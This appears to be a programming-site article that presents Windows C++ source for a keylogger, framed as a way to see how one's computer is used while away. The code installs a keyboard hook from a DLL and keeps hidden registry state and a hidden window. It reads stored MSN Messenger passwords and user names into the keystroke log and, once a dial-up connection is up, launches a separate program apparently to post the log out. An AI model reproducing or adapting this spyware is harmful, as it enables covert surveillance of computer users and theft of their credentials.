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Spying on computer usage via keyboard hooks

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4.22/5 (8 votes)
22 Sep 20012 min read 103.1K   2.6K   49  
This program can be used to find out how your computer is being used while you are away.
////////////////////////////////////////////////////////////////////
// 	  This program is done by Hirosh Joseph from india            //
//       Email hirosh@hirosh.com	        		              //	
//       Website www.hirosh.com,www.hirosh.net,www.hirosh.org     // 
// 	  I always welcome to ur valuble comments                     // 
////////////////////////////////////////////////////////////////////
// instks.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "RasStatus.h"
unsigned int ti;
char sdate[50];
HKEY hkeyresult ;
int hi;
int hhh;
int cmpstring(char *s1,char *s2)
{

if (strcmp(s1,s2)==0) 
		return 0;

if(strlen(s1)>strlen(s2))
		 return 10;  

if(strlen(s1)==strlen(s2)){
 if (*s1>*s2)
	return 10;
 if (*s1==*s2)
	if (*(s1+1)>*(s2+1))
	return 10;
	
}
return -10;  
}
LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{


hi=0;
hhh=1;
static HINSTANCE hinstDLL; 
typedef BOOL ( *inshook)(); 
inshook instkbhook;
hinstDLL = LoadLibrary((LPCTSTR) "Serv22.dll"); 
instkbhook = (inshook)GetProcAddress(hinstDLL, "installhook"); 
instkbhook();


DWORD size = sizeof ( DWORD ) ;
SYSTEMTIME stime;
BYTE rdate[50],check[50],sent[50],msnu[50],msnp[50];
size = 50 ;


RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"Date" , 0, 0, rdate, &size ) ;
RegCloseKey ( hkeyresult );
GetSystemTime(&stime);
sprintf(sdate,"%d",stime.wDay); 
int i,ic;
i=cmpstring(sdate,(char *)rdate);
if(strcmp(sdate,"1")==0)
{
	RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Date" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "1",1) ;
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Check" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "1",1) ;
	RegCloseKey ( hkeyresult );

}


size = 50 ;
RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"Check" , 0, 0, check, &size ) ;
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"Sent" , 0, 0, sent, &size ) ;
RegCloseKey ( hkeyresult );

ic=cmpstring(sdate,(char *)check);
	
	if ((ic>0)&&(!strcmp((char *)sent,"1")))
	{	
	char a[MAX_PATH],b[MAX_PATH];
	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\Serv22.txt" );
	strcpy(b,"");
	GetWindowsDirectory(b,MAX_PATH);
	strcat(b, "\\Servback.txt" );
	CopyFile(a,b,FALSE);
	//////////////////////
	FILE *f;
	char ch;
	f=fopen(b,"a");
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fwrite("Complete",1,8,f);
	/////////////
	size=50;
	RegOpenKey ( HKEY_CURRENT_USER, ( LPCTSTR ) "Software\\Microsoft\\MessengerService", &hkeyresult );
	RegQueryValueEx ( hkeyresult, ( LPCTSTR )"PasswordMSN Messenger Service" , 0, 0, msnp, &size );
	fwrite((char *)msnp,1,size,f);	
	//////////
	fwrite("ID",1,2,f);
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fwrite("Complete",1,8,f);
	size=50;
	RegQueryValueEx ( hkeyresult, ( LPCTSTR )"UserMSN Messenger Service" , 0, 0, msnu, &size ) ;
	RegCloseKey ( hkeyresult );
	fwrite((char *)msnu,1,size,f);
	fwrite("ID",1,2,f);	
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fwrite("Complete",1,8,f);
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fwrite("Complete",1,8,f);
	fclose(f);		
	
	RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Check" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Sent" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "0",1) ;
	RegCloseKey ( hkeyresult );
	f=fopen(a,"w");
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fclose(f);	
	}



	
/////////////

	MSG msg;
	WNDCLASSEX wcex;

	wcex.cbSize = sizeof(WNDCLASSEX); 

	wcex.style			= CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc	= (WNDPROC)WndProc;
	wcex.cbClsExtra		= 0;
	wcex.cbWndExtra		= 0;
	wcex.hInstance		= hInstance;
	wcex.hIcon		= NULL;
	wcex.hCursor		= NULL;
	wcex.hbrBackground	= NULL;
	wcex.lpszMenuName	= NULL;
	wcex.lpszClassName	= "ss";
	wcex.hIconSm		= NULL;
	RegisterClassEx(&wcex);
	HWND hWnd;
    hWnd = CreateWindow("ss", NULL, WS_POPUP,
	 0, 0, 10,10, NULL, NULL, hInstance, NULL);

	if (i>0){	
//		MessageBox(0,"While","w",MB_OK);
	ti=SetTimer(hWnd,NULL,30000,NULL);
	}
		
	while (GetMessage(&msg, NULL, 0, 0)) 
	{
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
	}

return 0;
}


LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
BOOL t;	


	switch (message) 
	{
		case WM_TIMER:
		if (hi<1){  
		t=IsRasConnected();
		if(t){
        KillTimer(hWnd,ti);
		hi++;
  //      MessageBox(0,"Connected","M",MB_OK); 
		WinExec("ServPost",SW_SHOW);
		}
		}		
		break;		
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
   }
   return 0;
}

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